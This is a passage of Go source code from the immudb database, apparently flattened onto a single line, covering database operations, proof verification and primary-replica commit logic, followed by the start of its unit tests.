schema.DualProofToProto(dualProof), }, nil } // VerifiableGet ... func (d *db) VerifiableGet(ctx context.Context, req *schema.VerifiableGetRequest) (*schema.VerifiableEntry, error) { if req == nil { return nil, ErrIllegalArguments } lastTxID, _ := d.st.CommittedAlh() if lastTxID < req.ProveSinceTx { return nil, ErrIllegalState } e, err := d.Get(ctx, req.KeyRequest) if err != nil { return nil, err } var vTxID uint64 var vKey []byte if e.ReferencedBy == nil { vTxID = e.Tx vKey = e.Key } else { vTxID = e.ReferencedBy.Tx vKey = e.ReferencedBy.Key } // key-value inclusion proof tx, err := d.allocTx() if err != nil { return nil, err } defer d.releaseTx(tx) err = d.st.ReadTx(vTxID, false, tx) if err != nil { return nil, err } var rootTxHdr *store.TxHeader if req.ProveSinceTx == 0 { rootTxHdr = tx.Header() } else { rootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false) if err != nil { return nil, err } } inclusionProof, err := tx.Proof(EncodeKey(vKey)) if err != nil { return nil, err } var sourceTxHdr, targetTxHdr *store.TxHeader if req.ProveSinceTx <= vTxID { sourceTxHdr = rootTxHdr targetTxHdr = tx.Header() } else { sourceTxHdr = tx.Header() targetTxHdr = rootTxHdr } dualProof, err := d.st.DualProof(sourceTxHdr, targetTxHdr) if err != nil { return nil, err } verifiableTx := &schema.VerifiableTx{ Tx: schema.TxToProto(tx), DualProof: schema.DualProofToProto(dualProof), } return &schema.VerifiableEntry{ Entry: e, VerifiableTx: verifiableTx, InclusionProof: schema.InclusionProofToProto(inclusionProof), }, nil } func (d *db) Delete(ctx context.Context, req *schema.DeleteKeysRequest) (*schema.TxHeader, error) { if req == nil { return nil, ErrIllegalArguments } d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { return nil, ErrIsReplica } opts := store.DefaultTxOptions() if req.SinceTx > 0 { if req.SinceTx > d.st.LastPrecommittedTxID() { return nil, store.ErrTxNotFound } opts.WithSnapshotMustIncludeTxID(func(_ uint64) uint64 { return req.SinceTx }) } tx, err := d.newTx(ctx, opts) if err != nil { return nil, err } defer tx.Cancel() for _, k := range req.Keys { if len(k) == 0 { return nil, ErrIllegalArguments } md := store.NewKVMetadata() md.AsDeleted(true) e := EncodeEntrySpec(k, md, nil) err = tx.Delete(ctx, e.Key) if err != nil { return nil, err } } var hdr *store.TxHeader if req.NoWait { hdr, err = tx.AsyncCommit(ctx) } else { hdr, err = tx.Commit(ctx) } if err != nil { return nil, err } return schema.TxHeaderToProto(hdr), nil } // GetAll ... func (d *db) GetAll(ctx context.Context, req *schema.KeyListRequest) (*schema.Entries, error) { snap, err := d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx) if err != nil { return nil, err } defer snap.Close() list := &schema.Entries{} for _, key := range req.Keys { e, err := d.get(ctx, EncodeKey(key), snap, true) if err == nil || errors.Is(err, store.ErrKeyNotFound) { if e != nil { list.Entries = append(list.Entries, e) } } else { return nil, err } } return list, nil } func (d *db) Size() (uint64, error) { return d.st.Size() } // TxCount ... func (d *db) TxCount() (uint64, error) { return d.st.TxCount(), nil } // Count ... func (d *db) Count(ctx context.Context, prefix *schema.KeyPrefix) (*schema.EntryCount, error) { if prefix == nil { return nil, ErrIllegalArguments } tx, err := d.st.NewTx(ctx, store.DefaultTxOptions().WithMode(store.ReadOnlyTx)) if err != nil { return nil, err } defer tx.Cancel() keyReader, err := tx.NewKeyReader(store.KeyReaderSpec{ Prefix: WrapWithPrefix(prefix.Prefix, SetKeyPrefix), }) if err != nil { return nil, err } defer keyReader.Close() count := 0 for { _, _, err := keyReader.Read(ctx) if errors.Is(err, store.ErrNoMoreEntries) { break } if err != nil { return nil, err } count++ } return &schema.EntryCount{Count: uint64(count)}, nil } // CountAll ... func (d *db) CountAll(ctx context.Context) (*schema.EntryCount, error) { return d.Count(ctx, &schema.KeyPrefix{}) } // TxByID ... func (d *db) TxByID(ctx context.Context, req *schema.TxRequest) (*schema.Tx, error) { if req == nil { return nil, ErrIllegalArguments } var snap *store.Snapshot var err error tx, err := d.allocTx() if err != nil { return nil, err } defer d.releaseTx(tx) if !req.KeepReferencesUnresolved { snap, err = d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx) if err != nil { return nil, err } defer snap.Close() } // key-value inclusion proof err = d.st.ReadTx(req.Tx, false, tx) if err != nil { return nil, err } return d.serializeTx(ctx, tx, req.EntriesSpec, snap, true) } func (d *db) snapshotSince(ctx context.Context, prefix []byte, txID uint64) (*store.Snapshot, error) { currTxID, _ := d.st.CommittedAlh() if txID > currTxID { return nil, ErrIllegalArguments } waitUntilTx := txID if waitUntilTx == 0 { waitUntilTx = currTxID } return d.st.SnapshotMustIncludeTxID(ctx, prefix, waitUntilTx) } func (d *db) serializeTx(ctx context.Context, tx *store.Tx, spec *schema.EntriesSpec, snap *store.Snapshot, skipIntegrityCheck bool) (*schema.Tx, error) { if spec == nil { return schema.TxToProto(tx), nil } stx := &schema.Tx{ Header: schema.TxHeaderToProto(tx.Header()), } for _, e := range tx.Entries() { switch e.Key()[0] { case SetKeyPrefix: { if spec.KvEntriesSpec == nil || spec.KvEntriesSpec.Action == schema.EntryTypeAction_EXCLUDE { break } if spec.KvEntriesSpec.Action == schema.EntryTypeAction_ONLY_DIGEST { stx.Entries = append(stx.Entries, schema.TxEntryToProto(e)) break } v, err := d.st.ReadValue(e) if errors.Is(err, store.ErrExpiredEntry) { break } if err != nil { return nil, err } if spec.KvEntriesSpec.Action == schema.EntryTypeAction_RAW_VALUE { kve := schema.TxEntryToProto(e) kve.Value = v stx.Entries = append(stx.Entries, kve) break } // resolve entry var index store.KeyIndex if snap != nil { index = snap } kve, err := d.resolveValue(ctx, e.Key(), v, 0, tx.Header().ID, e.Metadata(), index, 0, skipIntegrityCheck) if errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, store.ErrExpiredEntry) { break // ignore deleted ones (referenced key may have been deleted) } if err != nil { return nil, err } stx.KvEntries = append(stx.KvEntries, kve) } case SortedSetKeyPrefix: { if spec.ZEntriesSpec == nil || spec.ZEntriesSpec.Action == schema.EntryTypeAction_EXCLUDE { break } if spec.ZEntriesSpec.Action == schema.EntryTypeAction_ONLY_DIGEST { stx.Entries = append(stx.Entries, schema.TxEntryToProto(e)) break } if spec.ZEntriesSpec.Action == schema.EntryTypeAction_RAW_VALUE { v, err := d.st.ReadValue(e) if errors.Is(err, store.ErrExpiredEntry) { break } if err != nil { return nil, err } kve := schema.TxEntryToProto(e) kve.Value = v stx.Entries = append(stx.Entries, kve) break } // zKey = [1+setLenLen+set+scoreLen+keyLenLen+1+key+txIDLen] zKey := e.Key() setLen := int(binary.BigEndian.Uint64(zKey[1:])) set := make([]byte, setLen) copy(set, zKey[1+setLenLen:]) scoreOff := 1 + setLenLen + setLen scoreB := binary.BigEndian.Uint64(zKey[scoreOff:]) score := math.Float64frombits(scoreB) keyOff := scoreOff + scoreLen + keyLenLen key := make([]byte, len(zKey)-keyOff-txIDLen) copy(key, zKey[keyOff:]) atTx := binary.BigEndian.Uint64(zKey[keyOff+len(key):]) var entry *schema.Entry var err error if snap != nil { entry, err = d.getAtTx(ctx, key, atTx, 1, snap, 0, skipIntegrityCheck) if errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, store.ErrExpiredEntry) { break // ignore deleted ones (referenced key may have been deleted) } if err != nil { return nil, err } } zentry := &schema.ZEntry{ Set: set, Key: key[1:], Entry: entry, Score: score, AtTx: atTx, } stx.ZEntries = append(stx.ZEntries, zentry) } case SQLPrefix: { if spec.SqlEntriesSpec == nil || spec.SqlEntriesSpec.Action == schema.EntryTypeAction_EXCLUDE { break } if spec.SqlEntriesSpec.Action == schema.EntryTypeAction_ONLY_DIGEST { stx.Entries = append(stx.Entries, schema.TxEntryToProto(e)) break } if spec.SqlEntriesSpec.Action == schema.EntryTypeAction_RAW_VALUE { v, err := d.st.ReadValue(e) if errors.Is(err, store.ErrExpiredEntry) { break } if err != nil { return nil, err } kve := schema.TxEntryToProto(e) kve.Value = v stx.Entries = append(stx.Entries, kve) break } return nil, fmt.Errorf("%w: sql entry resolution is not supported", ErrIllegalArguments) } } } return stx, nil } func (d *db) mayUpdateReplicaState(committedTxID uint64, newReplicaState *schema.ReplicaState) error { d.replicaStatesMutex.Lock() defer d.replicaStatesMutex.Unlock() // clean up replicaStates // it's safe to remove up to latest tx committed in primary for uuid, st := range d.replicaStates { if st.precommittedTxID <= committedTxID { delete(d.replicaStates, uuid) } } if newReplicaState.PrecommittedTxID <= committedTxID { // as far as the primary is concerned, nothing really new has happened return nil } newReplicaAlh := schema.DigestFromProto(newReplicaState.PrecommittedAlh) replicaSt, ok := d.replicaStates[newReplicaState.UUID] if ok { if newReplicaState.PrecommittedTxID < replicaSt.precommittedTxID { return fmt.Errorf("%w: the newly informed replica state lags behind the previously informed one", ErrIllegalArguments) } if newReplicaState.PrecommittedTxID == replicaSt.precommittedTxID { // as of the last informed replica status update, nothing has changed return nil } // actual replication progress is informed by the replica replicaSt.precommittedTxID = newReplicaState.PrecommittedTxID replicaSt.precommittedAlh = newReplicaAlh } else { // replica informs first replication state d.replicaStates[newReplicaState.UUID] = &replicaState{ precommittedTxID: newReplicaState.PrecommittedTxID, precommittedAlh: newReplicaAlh, } } // check up to which tx enough replicas ack replication and it's safe to commit mayCommitUpToTxID := uint64(0) if len(d.replicaStates) > 0 { mayCommitUpToTxID = math.MaxUint64 } allowances := 0 // we may clean up replicaStates from those who are lagging behind commit for _, st := range d.replicaStates { if st.precommittedTxID < mayCommitUpToTxID { mayCommitUpToTxID = st.precommittedTxID } allowances++ } if allowances >= d.options.syncAcks { err := d.st.AllowCommitUpto(mayCommitUpToTxID) if err != nil { return err } } return nil } func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txbs []byte, mayCommitUpToTxID uint64, mayCommitUpToAlh [sha256.Size]byte, err error) { if req == nil { return nil, 0, mayCommitUpToAlh, ErrIllegalArguments } if d.replicaStates == nil && req.ReplicaState != nil { return nil, 0, mayCommitUpToAlh, fmt.Errorf("%w: replica state was NOT expected", ErrIllegalState) } tx, err := d.allocTx() if err != nil { return nil, 0, mayCommitUpToAlh, err } defer d.releaseTx(tx) committedTxID, committedAlh := d.st.CommittedAlh() preCommittedTxID, _ := d.st.PrecommittedAlh() if req.ReplicaState != nil { if req.ReplicaState.CommittedTxID > 0 { // validate replica commit state if req.ReplicaState.CommittedTxID > committedTxID { return nil, committedTxID, committedAlh, fmt.Errorf("%w: replica commit state diverged from primary's", ErrReplicaDivergedFromPrimary) } // integrityCheck is currently required to validate Alh expectedReplicaCommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.CommittedTxID, false, false) if err != nil { return nil, committedTxID, committedAlh, err } replicaCommittedAlh := schema.DigestFromProto(req.ReplicaState.CommittedAlh) if expectedReplicaCommitHdr.Alh() != replicaCommittedAlh { return nil, expectedReplicaCommitHdr.ID, expectedReplicaCommitHdr.Alh(), fmt.Errorf("%w: replica commit state diverged from primary's", ErrReplicaDivergedFromPrimary) } } if req.ReplicaState.PrecommittedTxID > 0 { // validate replica precommit state if req.ReplicaState.PrecommittedTxID > preCommittedTxID { return nil, committedTxID, committedAlh, fmt.Errorf("%w: replica precommit state diverged from primary's", ErrReplicaDivergedFromPrimary) } // integrityCheck is currently required to validate Alh expectedReplicaPrecommitHdr, err := d.st.ReadTxHeader(req.ReplicaState.PrecommittedTxID, true, false) if err != nil { return nil, committedTxID, committedAlh, err } replicaPreCommittedAlh := schema.DigestFromProto(req.ReplicaState.PrecommittedAlh) if expectedReplicaPrecommitHdr.Alh() != replicaPreCommittedAlh { return nil, expectedReplicaPrecommitHdr.ID, expectedReplicaPrecommitHdr.Alh(), fmt.Errorf("%w: replica precommit state diverged from primary's", ErrReplicaDivergedFromPrimary) } // primary will provide commit state to the replica so it can commit pre-committed transactions if req.ReplicaState.PrecommittedTxID < committedTxID { // if replica is behind current commit state in primary // return the alh up to the point known by the replica. // That way the replica is able to validate is following the right primary. mayCommitUpToTxID = req.ReplicaState.PrecommittedTxID mayCommitUpToAlh = replicaPreCommittedAlh } else { mayCommitUpToTxID = committedTxID mayCommitUpToAlh = committedAlh } } err = d.mayUpdateReplicaState(committedTxID, req.ReplicaState) if err != nil { return nil, mayCommitUpToTxID, mayCommitUpToAlh, err } } // it might be the case primary will commit some txs (even there could be inmem-precommitted txs) // current timeout it's not a special value but at least a relative one // note: primary might also be waiting ack from any replica (even this primary may do progress) // TODO: under some circumstances, replica might not be able to do further progress until primary // has made changes, such wait doesn't need to have a timeout, reducing networking and CPU utilization var cancel context.CancelFunc if req.ReplicaState != nil { ctx, cancel = context.WithTimeout(ctx, d.options.storeOpts.SyncFrequency*4) defer cancel() } err = d.WaitForTx(ctx, req.Tx, req.AllowPreCommitted) if ctx.Err() != nil { return nil, mayCommitUpToTxID, mayCommitUpToAlh, nil } if err != nil { return nil, mayCommitUpToTxID, mayCommitUpToAlh, err } txbs, err = d.st.ExportTx(req.Tx, req.AllowPreCommitted, req.SkipIntegrityCheck, tx) if err != nil { return nil, mayCommitUpToTxID, mayCommitUpToAlh, err } return txbs, mayCommitUpToTxID, mayCommitUpToAlh, nil } func (d *db) ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCheck bool, waitForIndexing bool) (*schema.TxHeader, error) { d.mutex.RLock() defer d.mutex.RUnlock() if !d.isReplica() { return nil, ErrNotReplica } hdr, err := d.st.ReplicateTx(ctx, exportedTx, skipIntegrityCheck, waitForIndexing) if err != nil { return nil, err } return schema.TxHeaderToProto(hdr), nil } // AllowCommitUpto is used by replicas to commit transactions once committed in primary func (d *db) AllowCommitUpto(txID uint64, alh [sha256.Size]byte) error { d.mutex.RLock() defer d.mutex.RUnlock() if !d.isReplica() { return ErrNotReplica } // replica pre-committed state must be consistent with primary committedTxID, committedAlh := d.st.CommittedAlh() // handling a particular case in an optimized manner if committedTxID == txID { if committedAlh != alh { return fmt.Errorf("%w: replica commit state diverged from primary's", ErrIllegalState) } return nil } hdr, err := d.st.ReadTxHeader(txID, true, false) if err != nil { return err } if hdr.Alh() != alh { return fmt.Errorf("%w: replica commit state diverged from primary's", ErrIllegalState) } return d.st.AllowCommitUpto(txID) } func (d *db) DiscardPrecommittedTxsSince(txID uint64) error { d.mutex.RLock() defer d.mutex.RUnlock() _, err := d.st.DiscardPrecommittedTxsSince(txID) return err } // VerifiableTxByID ... func (d *db) VerifiableTxByID(ctx context.Context, req *schema.VerifiableTxRequest) (*schema.VerifiableTx, error) { if req == nil { return nil, ErrIllegalArguments } lastTxID, _ := d.st.CommittedAlh() if lastTxID < req.ProveSinceTx { return nil, fmt.Errorf("%w: latest txID=%d is lower than specified as initial tx=%d", ErrIllegalState, lastTxID, req.ProveSinceTx) } var snap *store.Snapshot var err error if !req.KeepReferencesUnresolved { snap, err = d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx) if err != nil { return nil, err } defer snap.Close() } reqTx, err := d.allocTx() if err != nil { return nil, err } defer d.releaseTx(reqTx) err = d.st.ReadTx(req.Tx, false, reqTx) if err != nil { return nil, err } var sourceTxHdr, targetTxHdr *store.TxHeader var rootTxHdr *store.TxHeader if req.ProveSinceTx == 0 { rootTxHdr = reqTx.Header() } else { rootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false) if err != nil { return nil, err } } if req.ProveSinceTx <= req.Tx { sourceTxHdr = rootTxHdr targetTxHdr = reqTx.Header() } else { sourceTxHdr = reqTx.Header() targetTxHdr = rootTxHdr } dualProof, err := d.st.DualProof(sourceTxHdr, targetTxHdr) if err != nil { return nil, err } sReqTx, err := d.serializeTx(ctx, reqTx, req.EntriesSpec, snap, true) if err != nil { return nil, err } return &schema.VerifiableTx{ Tx: sReqTx, DualProof: schema.DualProofToProto(dualProof), }, nil } // TxScan ... func (d *db) TxScan(ctx context.Context, req *schema.TxScanRequest) (*schema.TxList, error) { if req == nil { return nil, ErrIllegalArguments } if int(req.Limit) > d.maxResultSize { return nil, fmt.Errorf("%w: the specified limit (%d) is larger than the maximum allowed one (%d)", ErrResultSizeLimitExceeded, req.Limit, d.maxResultSize) } tx, err := d.allocTx() if err != nil { return nil, err } defer d.releaseTx(tx) limit := int(req.Limit) if req.Limit == 0 { limit = d.maxResultSize } snap, err := d.snapshotSince(ctx, []byte{SetKeyPrefix}, req.SinceTx) if err != nil { return nil, err } defer snap.Close() txReader, err := d.st.NewTxReader(req.InitialTx, req.Desc, tx) if err != nil { return nil, err } txList := &schema.TxList{} for l := 1; l <= limit; l++ { tx, err := txReader.Read() if errors.Is(err, store.ErrNoMoreEntries) { break } if err != nil { return nil, err } sTx, err := d.serializeTx(ctx, tx, req.EntriesSpec, snap, true) if err != nil { return nil, err } txList.Txs = append(txList.Txs, sTx) } return txList, nil } // History ... func (d *db) History(ctx context.Context, req *schema.HistoryRequest) (*schema.Entries, error) { if req == nil { return nil, ErrIllegalArguments } if int(req.Limit) > d.maxResultSize { return nil, fmt.Errorf("%w: the specified limit (%d) is larger than the maximum allowed one (%d)", ErrResultSizeLimitExceeded, req.Limit, d.maxResultSize) } currTxID, _ := d.st.CommittedAlh() if req.SinceTx > currTxID { return nil, ErrIllegalArguments } waitUntilTx := req.SinceTx if waitUntilTx == 0 { waitUntilTx = currTxID } err := d.WaitForIndexingUpto(ctx, waitUntilTx) if err != nil { return nil, err } limit := int(req.Limit) if limit == 0 { limit = d.maxResultSize } key := EncodeKey(req.Key) valRefs, _, err := d.st.History(key, req.Offset, req.Desc, limit) if err != nil && err != store.ErrOffsetOutOfRange { return nil, err } list := &schema.Entries{ Entries: make([]*schema.Entry, len(valRefs)), } for i, valRef := range valRefs { val, err := valRef.Resolve() if err != nil && err != store.ErrExpiredEntry { return nil, err } if len(val) > 0 { val = TrimPrefix(val) } list.Entries[i] = &schema.Entry{ Tx: valRef.Tx(), Key: req.Key, Metadata: schema.KVMetadataToProto(valRef.KVMetadata()), Value: val, Expired: errors.Is(err, store.ErrExpiredEntry), Revision: valRef.HC(), } } return list, nil } func (d *db) IsClosed() bool { d.closingMutex.Lock() defer d.closingMutex.Unlock() return d.st.IsClosed() } // Close ... func (d *db) Close() (err error) { d.closingMutex.Lock() defer d.closingMutex.Unlock() d.Logger.Infof("closing database '%s'...", d.name) defer func() { if err == nil { d.Logger.Infof("database '%s' successfully closed", d.name) } else { d.Logger.Infof("%v: while closing database '%s'", err, d.name) } }() return d.st.Close() } // GetName ... func (d *db) GetName() string { return d.name } // GetOptions ... func (d *db) GetOptions() *Options { d.mutex.RLock() defer d.mutex.RUnlock() return d.options } func (d *db) AsReplica(asReplica, syncReplication bool, syncAcks int) { d.mutex.Lock() defer d.mutex.Unlock() d.replicaStatesMutex.Lock() defer d.replicaStatesMutex.Unlock() d.options.replica = asReplica d.options.syncAcks = syncAcks d.options.syncReplication = syncReplication if asReplica { d.replicaStates = nil } else if syncAcks > 0 { d.replicaStates = make(map[string]*replicaState, syncAcks) } d.st.SetExternalCommitAllowance(syncReplication) } func (d *db) IsReplica() bool { d.mutex.RLock() defer d.mutex.RUnlock() return d.isReplica() } func (d *db) isReplica() bool { return d.options.replica } func (d *db) IsSyncReplicationEnabled() bool { d.mutex.RLock() defer d.mutex.RUnlock() return d.options.syncReplication } func (d *db) SetSyncReplication(enabled bool) { d.mutex.Lock() defer d.mutex.Unlock() d.st.SetExternalCommitAllowance(enabled) d.options.syncReplication = enabled } func logErr(log logger.Logger, formattedMessage string, err error) error { if err != nil { log.Errorf(formattedMessage, err) } return err } // CopyCatalog creates a copy of the sql catalog and returns a transaction // that can be used to commit the copy. func (d *db) CopyCatalogToTx(ctx context.Context, tx *store.OngoingTx) error { // copy the sql catalog err := d.sqlEngine.CopyCatalogToTx(ctx, tx) if err != nil { return err } // copy the document store catalog err = d.documentEngine.CopyCatalogToTx(ctx, tx) if err != nil { return err } return nil } func (d *db) FindTruncationPoint(ctx context.Context, until time.Time) (*schema.TxHeader, error) { hdr, err := d.st.LastTxUntil(until) if errors.Is(err, store.ErrTxNotFound) { return nil, ErrRetentionPeriodNotReached } if err != nil { return nil, err } // look for the newst transaction with entries for err == nil { if hdr.NEntries > 0 { break } if ctx.Err() != nil { return nil, err } hdr, err = d.st.ReadTxHeader(hdr.ID-1, false, false) } return schema.TxHeaderToProto(hdr), nil } func (d *db) TruncateUptoTx(_ context.Context, txID uint64) error { return d.st.TruncateUptoTx(txID) } ================================================ FILE: pkg/database/database_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "crypto/sha256" "errors" "fmt" "log" "math" "os" "path" "path/filepath" "strings" "sync" "sync/atomic" "testing" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/fs" "github.com/stretchr/testify/require" ) var kvs = []*schema.KeyValue{ { Key: []byte("Alberto"), Value: []byte("Tomba"), }, { Key: []byte("Jean-Claude"), Value: []byte("Killy"), }, { Key: []byte("Franz"), Value: []byte("Clamer"), }, } func makeDb(t *testing.T) *db { rootPath := t.TempDir() options := DefaultOptions().WithDBRootPath(rootPath) options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)) return makeDbWith(t, "db", options) } func makeDbWith(t *testing.T, dbName string, opts *Options) *db { d, err := NewDB(dbName, &dummyMultidbHandler{}, opts, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) t.Cleanup(func() { err := d.Close() if !t.Failed() { require.NoError(t, err) } }) return d.(*db) } type dummyMultidbHandler struct { } func (h *dummyMultidbHandler) ListDatabases(ctx context.Context) ([]string, error) { return nil, sql.ErrNoSupported } func (h *dummyMultidbHandler) CreateDatabase(ctx context.Context, db string, ifNotExists bool) error { return sql.ErrNoSupported } func (h *dummyMultidbHandler) UseDatabase(ctx context.Context, db string) error { return sql.ErrNoSupported } type mockUser struct{} func (u *mockUser) Username() string { return "default" } func (u *mockUser) Permission() sql.Permission { return sql.PermissionAdmin } func (u *mockUser) SQLPrivileges() []sql.SQLPrivilege { return sql.DefaultSQLPrivilegesForPermission(sql.PermissionAdmin) } func (h *dummyMultidbHandler) GetLoggedUser(ctx context.Context) (sql.User, error) { return &mockUser{}, nil } func (h *dummyMultidbHandler) ListUsers(ctx context.Context) ([]sql.User, error) { return nil, sql.ErrNoSupported } func (h *dummyMultidbHandler) CreateUser(ctx context.Context, username, password string, permission sql.Permission) error { return sql.ErrNoSupported } func (h *dummyMultidbHandler) AlterUser(ctx context.Context, username, password string, permission sql.Permission) error { return sql.ErrNoSupported } func (h *dummyMultidbHandler) GrantSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege) error { return sql.ErrNoSupported } func (h *dummyMultidbHandler) RevokeSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege) error { return sql.ErrNoSupported } func (h *dummyMultidbHandler) DropUser(ctx context.Context, username string) error { return sql.ErrNoSupported } func (h *dummyMultidbHandler) ExecPreparedStmts( ctx context.Context, opts *sql.TxOptions, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, committedTxs []*sql.SQLTx, err error) { return nil, nil, sql.ErrNoSupported } func TestDefaultDbCreation(t *testing.T) { options := DefaultOptions().WithDBRootPath(t.TempDir()) db, err := NewDB("mydb", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) require.Equal(t, options, db.GetOptions()) defer db.Close() n, err := db.TxCount() require.NoError(t, err) require.Zero(t, n) _, err = db.Count(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) res, err := db.CountAll(context.Background()) require.NoError(t, err) require.Zero(t, res.Count) dbPath := path.Join(options.GetDBRootPath(), db.GetName()) require.DirExists(t, dbPath) } func TestDbCreationInAlreadyExistentDirectories(t *testing.T) { options := DefaultOptions().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) err := os.MkdirAll(filepath.Join(options.GetDBRootPath(), "EdithPiaf"), os.ModePerm) require.NoError(t, err) _, err = NewDB("EdithPiaf", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.ErrorContains(t, err, "already exist") } func TestDbCreationInInvalidDirectory(t *testing.T) { options := DefaultOptions().WithDBRootPath("/?") _, err := NewDB("EdithPiaf", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.Error(t, err) } func TestDbCreation(t *testing.T) { options := DefaultOptions().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) db, err := NewDB("EdithPiaf", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) defer db.Close() dbPath := path.Join(options.GetDBRootPath(), db.GetName()) require.DirExists(t, dbPath) } func TestOpenWithMissingDBDirectories(t *testing.T) { options := DefaultOptions().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) _, err := OpenDB("EdithPiaf", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.ErrorContains(t, err, "missing database directories") } func TestOpenWithIllegalDBName(t *testing.T) { options := DefaultOptions().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) _, err := OpenDB("", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.ErrorIs(t, err, ErrIllegalArguments) } func TestOpenDB(t *testing.T) { options := DefaultOptions().WithDBRootPath(filepath.Join(t.TempDir(), "Paris")) db, err := NewDB("EdithPiaf", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) err = db.Close() require.NoError(t, err) db, err = OpenDB("EdithPiaf", nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) err = db.Close() require.NoError(t, err) } func TestOpenV1_0_1_DB(t *testing.T) { copier := fs.NewStandardCopier() dir := filepath.Join(t.TempDir(), "db") require.NoError(t, copier.CopyDir("../../test/data_v1.1.0", dir)) sysOpts := DefaultOptions().WithDBRootPath(dir) sysDB, err := OpenDB("systemdb", nil, sysOpts, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) dbOpts := DefaultOptions().WithDBRootPath(dir) db, err := OpenDB("defaultdb", nil, dbOpts, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) err = db.Close() require.NoError(t, err) err = sysDB.Close() require.NoError(t, err) } func TestDbSynchronousSet(t *testing.T) { db := makeDb(t) for _, kv := range kvs { _, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) item, err := db.Get(context.Background(), &schema.KeyRequest{Key: kv.Key}) require.NoError(t, err) require.Equal(t, kv.Key, item.Key) require.Equal(t, kv.Value, item.Value) } } func TestDbSetGet(t *testing.T) { db := makeDb(t) var trustedAlh [sha256.Size]byte var trustedIndex uint64 _, err := db.Set(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.VerifiableGet(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) for i, kv := range kvs[:1] { txhdr, err := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{kv}}) require.NoError(t, err) require.Equal(t, uint64(i+1), txhdr.Id) if i == 0 { alh := schema.TxHeaderFromProto(txhdr).Alh() copy(trustedAlh[:], alh[:]) trustedIndex = 1 } keyReq := &schema.KeyRequest{Key: kv.Key, SinceTx: txhdr.Id} item, err := db.Get(context.Background(), keyReq) require.NoError(t, err) require.Equal(t, kv.Key, item.Key) require.Equal(t, kv.Value, item.Value) _, err = db.Get(context.Background(), &schema.KeyRequest{Key: kv.Key, SinceTx: txhdr.Id, AtTx: txhdr.Id}) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.Get(context.Background(), &schema.KeyRequest{Key: kv.Key, SinceTx: txhdr.Id + 1}) require.ErrorIs(t, err, ErrIllegalArguments) vitem, err := db.VerifiableGet(context.Background(), &schema.VerifiableGetRequest{ KeyRequest: keyReq, ProveSinceTx: trustedIndex, }) require.NoError(t, err) require.Equal(t, kv.Key, vitem.Entry.Key) require.Equal(t, kv.Value, vitem.Entry.Value) inclusionProof := schema.InclusionProofFromProto(vitem.InclusionProof) dualProof := schema.DualProofFromProto(vitem.VerifiableTx.DualProof) var eh [sha256.Size]byte var sourceID, targetID uint64 var sourceAlh, targetAlh [sha256.Size]byte if trustedIndex <= vitem.Entry.Tx { copy(eh[:], dualProof.TargetTxHeader.Eh[:]) sourceID = trustedIndex sourceAlh = trustedAlh targetID = vitem.Entry.Tx targetAlh = dualProof.TargetTxHeader.Alh() } else { copy(eh[:], dualProof.SourceTxHeader.Eh[:]) sourceID = vitem.Entry.Tx sourceAlh = dualProof.SourceTxHeader.Alh() targetID = trustedIndex targetAlh = trustedAlh } entrySpec := EncodeEntrySpec(vitem.Entry.Key, schema.KVMetadataFromProto(vitem.Entry.Metadata), vitem.Entry.Value) entrySpecDigest, err := store.EntrySpecDigestFor(int(txhdr.Version)) require.NoError(t, err) require.NotNil(t, entrySpecDigest) verifies := store.VerifyInclusion( inclusionProof, entrySpecDigest(entrySpec), eh, ) require.True(t, verifies) verifies = store.VerifyDualProof( dualProof, sourceID, targetID, sourceAlh, targetAlh, ) require.True(t, verifies) } _, err = db.Get(context.Background(), &schema.KeyRequest{Key: []byte{}}) require.ErrorIs(t, err, ErrIllegalArguments) } func TestDelete(t *testing.T) { db := makeDb(t) _, err := db.Delete(context.Background(), nil) 